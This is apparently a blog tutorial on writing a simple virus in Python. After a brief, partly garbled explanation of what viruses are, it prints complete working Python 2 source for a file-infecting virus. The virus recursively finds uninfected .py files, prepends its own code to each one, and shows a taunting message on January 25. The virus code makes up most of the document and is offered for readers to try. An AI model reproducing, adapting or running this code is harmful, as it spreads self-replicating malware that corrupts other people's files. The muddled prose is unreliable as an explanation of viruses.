Instructions for writing simple Viruses in Python

Hello friends !!

One computer virus is a type of malicious software program (“malware”) that, when executed, replicates itself (copying its own source code) or infects other computer programs by altering the Computer programs may include them.data files, or “boot” sectors of the hard drive.

Virus writers use coding techniques and exploit detailed knowledge of vulnerabilities to gain access to their host computers and private resources. Most viruses target systems running Microsoft Windows, use a variety of new host infection mechanisms, and are often used to prevent detection or bypass Antivirus software.

Motivation to create virus may originate from the purpose of seeking profits of hackers
e.g. with ransomware, the desire to send a political message, for personal entertainment, to prove that a vulnerability exists in the software, for sabotage and denial of service, or simply because they want to explore cybersecurityissues, artificial life and evolutionary algorithms.

Here in this article we will guide simple python virus code for you to see what is Virus. Although this is a simple virus, for computer systems back in the day, it was a top threat in the world!!!

#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT'S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
